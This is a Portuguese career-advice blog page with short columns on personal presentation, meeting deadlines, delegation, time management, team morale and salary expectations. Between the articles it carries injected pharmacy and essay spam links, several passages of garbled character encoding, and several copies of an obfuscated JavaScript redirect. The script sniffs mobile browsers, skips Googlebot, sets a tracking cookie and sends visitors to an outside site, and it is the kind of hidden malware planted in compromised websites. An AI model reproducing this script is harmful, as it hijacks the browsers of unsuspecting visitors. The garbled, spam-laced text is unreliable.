Conexão Profissioanal

Na correria do dia a dia, muitas vezes descuidamos da nossa apresentação pessoal. Às vezes chegamos tarde em casa e temos que sair muito cedo no outro dia. Então como não descuidar da aparência?

Uma boa apresentação pessoal pode favorecer novos contatos, pois acaba passando uma imagem profissional. Apesar da correria do dia a dia, alguns cuidados básicos podem ser tomados.

No caso das mulheres, o cuidado com os cabelos é fundamental. Lavar com frequência e secar é muito importante. Nada de fazer uma escova e passar a semana inteira com ela. O aspecto e a higiene são fundamentais. Se não der tempo de ir ao salão, mantenha as unhas sempre limpas e lixadas. Se perceber que o cabelo não vai ficar arrumado, uma dica é prender.

Já para os homens, o cuidado com as camisas é fundamental, uma vez que transpiram mais. Sempre separe camisas limpas e passadas na véspera. Assim evita procurar de última hora e errar na combinação ou ter que usar uma roupa amassada. As mãos também devem estar bem cuidadas. E se usa sapatos de couro, mantê-los engraxados é essencial.

Procure tecidos apropriados para o calor, que não favoreçam o acúmulo do suor. Num país quente como o Brasil e mais ainda no verão, os cuidados devem ser redobrados. Afinal, quem cuida da sua apresentação causa melhor impressão.

http://mtls-ventures.com/?p=1165 http://sbhealthproducts.com/2018/02/16/dissertation/

http://astriria-akuntan.mhs.narotama.ac.id/2018/02/11/purchase-hyzaar-100/ Muitos profissionais se preocupam com uma boa preparaAi??A?o tAi??cnica e investem em cursos e capacitaAi??Ai??es. Mas apenas focar nesse aprimoramento pode nA?o ser suficiente para a carreira.

Ai?? comum escutar gestores dizerem: ai???Ai?? um excelente tAi??cnico, mas me dA? muito trabalho, pois nA?o cumpre prazosai???. Um bom profissional tem que saber conciliar o seu conhecimento teA?rico a sua prA?tica profissional, para fazer um trabalho com excelA?ncia.

Um ponto fundamental Ai?? o cuidado com prazos. Nada de chegar de A?ltima hora para informar que nA?o vai conseguir concluir a tarefa. AlAi??m disso, a manutenAi??A?o dos padrAi??es estabelecidos pela organizaAi??A?o Ai?? essencial para ser considerado um profissional competente.

Outro aspecto muito importante Ai?? a postura profissional e ela inclui saber cumprir regras. Uma ferramenta para orientar essa postura Ai?? o CA?digo de Conduta que muitas organizaAi??Ai??es adotam. Nele o profissional pode encontrar quais os comportamentos esperados e aqueles que sA?o inadmissAi??veis.

AlAi??m disso, ter cuidado com o cumprimento do que Ai?? obrigaAi??A?o de todo profissional: bater cartA?o de ponto, comunicar ausA?ncias com antecedA?ncia, sempre que possAi??vel, e justificar para seu gestor e para colegas que serA?o impactados pela sua falta. Combinar como vai compensar a falta tambAi??m Ai?? importante.

Para ser visto como um bom profissional e conseguir crescer na carreira Ai?? fundamental que suas atitudes demonstrem compromisso, responsabilidade e cuidado.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Manter um clima positivo na equipe é fundamental e tem impacto tanto nos resultados da empresa como na permanência dos profissionais nela. Então, como manter um bom ambiente de trabalho em momentos de crise e instabilidade no emprego?

Antes de tudo, o gestor precisa ter uma comunicação permanente com a equipe. Informar alterações na estratégia, no mercado e nos processos é fundamental. Escutar e permitir que as pessoas falem de suas angústias pode aliviar a tensão. Além disso, proporciona uma oportunidade para orientar os profissionais e tranquilizá-los.

Manter o trabalho em equipe e acompanhar de perto os desempenhos ajuda a dar foco no que é essencial para a organização enfrentar o momento. Estar atento aos movimentos de competição excessiva e aos conflitos internos para poder intervir adequadamente é outro foco do gestor. Nada de ficar trancado em seu escritório. Circular pela empresa é essencial.

É importante também lembrar sempre à equipe que o sucesso do negócio depende de todos. Reforce que as empresas que melhor enfrentam os momentos difíceis são aquelas que estão mais preparadas em seus planejamento e processos e que têm as equipes mais competentes e afinadas.

E caso precise fazer demissões, logo depois que comunicar aos profissionais desligados, procure reunir a equipe que ficou e explicar a decisão, dando informações possíveis sobre a situação da empresa e o porquê dos desligamentos. Essa atitude pode evitar o pânico generalizado que em nada contribui para um bom clima de trabalho.

Quem nunca teve o sentimento de que delegou uma tarefa e ela não aconteceu? Uma das razões para isso acontecer é o fato de que muitos gestores não acompanham as etapas de execução. Então o que fazer para evitar os atrasos e tornar a equipe mais produtiva?

Sempre que for delegar uma tarefa, isso deve ser feito pessoalmente, e não por e-mail ou mensagem, por exemplo. Assim, é possível solucionar eventuais dúvidas de imediato, sem problemas de comunicação. Reserve um tempo para explicar os resultados esperados. Mais importante que dizer como fazer, é dizer o que quer ao final do trabalho.

Verifique se a pessoa entendeu o que você queria. Pergunte! Mas não adianta questionar apenas com um “Você entendeu?” A maioria das pessoas balança a cabeça afirmativamente. O melhor é perguntar – “O que você entendeu sobre a tarefa? Quais as suas dúvidas?”. Isso minimiza o risco de desencontro entre resultado pretendido e o apresentado pelo profissional.

Não basta esperar que sua equipe traga até você o andamento de cada projeto. Procure estabelecer datas para acompanhar a execução antes do prazo final. Assim, você garante a correção de rumos, caso seja necessária. E procure não se irritar se a pessoa tiver dúvidas ao longo da execução. Pessoas intimidadas dificilmente irão perguntar e tendem a cometer mais erros.

Lembre-se que delegar é diferente de “delargar”. O acompanhamento é sempre necessário e cria nas equipes um sentido de organização. Com o tempo, os “delegados” terão uma cultura de execução profissional de projetos com maior autonomia.

Um grande desafio dos gestores é conseguir dar conta de todas as suas demandas. Para isso, administrar bem o tempo é fundamental. Ele é o único recurso que todos temos igualmente, e que, uma vez perdido, não se recupera. Para tanto, algumas dicas podem ajudar.

Considere que sempre faltará tempo para tudo o que precisamos realizar, portanto, estabelecer prioridades é fundamental. Construa com sua equipe uma lista de atividades com prazos claros e faça o acompanhamento sistemático. Um equívoco de quem tem pouco tempo é não acompanhar o planejamento e ter que “correr atrás do prejuízo”.

Lembre-se que aquele que gosta do que faz tende a ter melhor administração do seu tempo, pois é mais produtivo e focado. Identifique esses profissionais e delegue responsabilidades para eles. Crie sentido para as tarefas gerando esse sentimento de satisfação para a equipe.

Outro poupador do tempo são as reuniões. Quando bem conduzidas, elas ajudam a alinhar expectativas, padrões desejados de qualidade e prazos. Reuniões com foco, hora certa para começar e terminar e pauta definida são muito mais produtivas. Afinal, imagine ter que repetir a mesma coisa para cada membro da equipe individualmente?

Por fim, aprenda a dizer não quando necessário e administrar as fontes de estresse. Profissionais que aprendem a gerir seu tempo, também conseguem gerenciar melhor os problemas e lidar com o inesperado.

Em tempos de bonança, é fácil comemorar as conquistas. Mas muitos esquecem que é preciso também celebrá-las em momentos mais difíceis para manter a motivação.

Em momentos de resultados mais apertados e margens menores como o que estamos passando agora, diante da crise econômica, o reconhecimento é ainda mais importante para manter a equipe motivada. É preciso que o gestor cuide desse reconhecimento, já que o profissional desmotivado tem maior dificuldade de concentração e diminui sua produtividade.

Se você é gestor, não se esqueça de elogiar os avanços, mesmo que pequenos. Comemore os bons desempenhos e dê visibilidade aos resultados alcançados. Tente fazer isso na frente dos outros, pois isso torna o retorno muito mais valioso, uma vez que ajuda a estimular o clima de realização na equipe.

É fundamental e incentivar as propostas de inovação, e recompensar aqueles que apresentam ideias e soluções de valia. Para tanto, procure alternativas para premiar aqueles que se destacam.

Algumas empresas, atualmente, vêm ofertando “experiências diferentes” para seus empregados como forma de reconhecer os bons desempenhos e o compromisso com a organização. Prêmios como jantares, viagens para o profissional e a família, ingressos para shows ou cinema, e até mesmo mergulho em naufrágios e corais, por exemplo, são formas alternativas de reconhecer e de estimular a equipe.

No período recente de aquecimento da economia e ampla oferta de empregos, muitos profissionais viram sua remuneração duplicar ou mesmo triplicar. E agora, em um momento de recessão, como adequar o salário e não ficar fora do mercado?

Em primeiro lugar, se você está desempregado ou pretende mudar de empresa, precisa conhecer as práticas atuais de remuneração para não criar expectativas irreais. Converse com colegas e com recrutadores para entender o patamar dos salários na sua profissão. Pesquise também em sites de sindicatos e órgãos oficiais.

Adequar as suas finanças pessoais para essa nova realidade é fundamental. Talvez seja necessário adequar ou cortar algumas despesas. Já tratamos esse aspecto em outras colunas do Conexão Profissional sobre finanças pessoais (29.09.2015; 21.07.2015; 21.10.2014).

Na hora de se candidatar a uma vaga, informe sua pretensão salarial com base na experiência profissional e nas práticas de mercado. Não adianta querer manter a remuneração elevada se não é essa a realidade. Sua remuneração poderá ser igual ou até maior, mas isso vai depender de quanto está valendo o profissional com a sua qualificação no mercado e não apenas, das suas expectativas.

Diante de entrevistas de emprego, se questionado sobre a diferença entre a remuneração anterior e a pretensão atual, mostre que está atualizado sobre as práticas e sua flexibilidade para adequar-se pessoalmente a essa realidade de mercado. Mostre-se motivado apesar da diferença de remuneração.

Em resumo, trabalhar suas expectativas é fundamental. E depois, apresentando um bom desempenho e com a melhoria na economia, poderá ter o reconhecimento que merece!

Antigamente, as carreiras eram traçadas desde muito cedo e os profissionais tinham certa segurança de seguir em um único emprego até se aposentar. Mas hoje, com o desaquecimento da economia, ainda é possível escolher onde se deseja atuar no mercado?

Nas últimas décadas, esse modelo mental sobre a carreira mudou, com profissionais menos preocupados em trabalhar por muitos anos em um mesmo lugar. O dinamismo econômico e a mudança no leque de carreiras favoreceu esse novo olhar.

As jovens profissionais, nos últimos dez anos, acostumados com um mercado aquecido e muitas oportunidades, puderam escolher entre diversos empregos. Esse contexto gerou menos contato com a frustração de ter que trabalhar em algo independente do projeto individual.

Entretanto, na atualidade, com o desaquecimento da economia e, consequentemente, do mercado, ficou mais complicado escolher onde se deseja atuar. Por isso, é importante, para quem está ingressando agora no mercado, compreender que a redução de ofertas vai exigir maior capacidade de adaptação aos empregos ofertados e maior criatividade para se desenvolver e apresentar resultados.

Além disso, aprender a gostar do que faz e estar aberto a novas aprendizagens é fundamental. Já para aqueles que pensavam em ter seu próprio negócio, vale ter maior cuidado com a análise da viabilidade e talvez procurar investir em formas menos tradicionais de negócio, como temos visto com o surgimento dos food trucks e a venda de doces em bicicletas. O que não pode é ficar acomodado esperando o emprego ideal cair do céu.

http://astriria-akuntan.mhs.narotama.ac.id/2018/02/15/cheap-amantadine-poisoning/ http://bigdreamevolution.com/blog/celebrex-price-comparison/ http://mitupo.org/reminyl-online-dictionary

Em um momento no qual muitas equipes estA?o sendo reduzidas, os profissionais estA?o assumindo novas atividades. Por isso, cada vez mais a habilidade de ser multitarefa se torna importante para as empresas e para sua competitividade como profissional. EntA?o, o que fazer para manter a qualidade e a produtividade?

Em primeiro lugar, Ai?? importante discutir com seu gestor quais as prioridades do trabalho e alinhar as expectativas de resultados com ele. Planejamento tambAi??m Ai?? essencial e deve considerar o mAi??dio e curto prazo.

Organizar a agenda semanal e diA?ria tambAi??m Ai?? uma atitude que ajuda na produtividade. Ser realista nesse planejamento tambAi??m. NA?o adianta prever que vai realizar mais atividades do que o seu tempo permite.

Ai?? preciso, ainda, sinalizar com certa antecedA?ncia quando perceber que nA?o vai conseguir dar conta de uma demanda, e jA? propor alternativas de soluAi??A?o para evitar o atraso. Pedir apoio e ser solidA?rio com os colegas, criando uma rede de cooperaAi??A?o na equipe, pode ser um caminho para garantir o cumprimento dos prazos.

Por fim, tenha o hA?bito de sempre revisar seus trabalhos antes de finalizA?-los ou encaminhar ao gestor. Isso ajuda a evitar possAi??veis erros que poderA?o trazer um retrabalho no futuro.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 